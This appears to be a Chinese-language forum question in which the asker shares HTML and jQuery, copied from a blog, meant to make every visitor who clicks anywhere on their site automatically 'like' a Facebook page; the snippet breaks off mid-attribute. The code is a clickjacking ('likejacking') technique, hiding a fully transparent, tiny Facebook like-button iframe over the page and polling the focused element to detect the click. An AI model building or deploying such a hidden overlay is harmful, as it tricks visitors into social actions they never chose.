我想在单击任何地方或单击本网站上的图片时自动喜欢Facebook,您将自动喜欢此页面。
我从http://geekhmer.github.io/blog/2013/10/02/facebook-fan-page-auto-like/复制代码
这是我的代码。
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title></title>
<script src="jquery-1.9.1.js" type="text/javascript"></script>
<script type="text/javascript">
var interval = 0;
function updateActiveElement() {
if($(document.activeElement).attr('id') == "fb-iframe") {
clearInterval(interval);
bodyClicked = true;
}
}
$(function() {
interval = setInterval("updateActiveElement();", 50);
});
</script>
</head>
<body>
<center>
<h1>Click anywhere on this site you will automatically like this page</h1>
</center>
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/GeeKhmer[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; …Run Code Online (Sandbox Code Playgroud)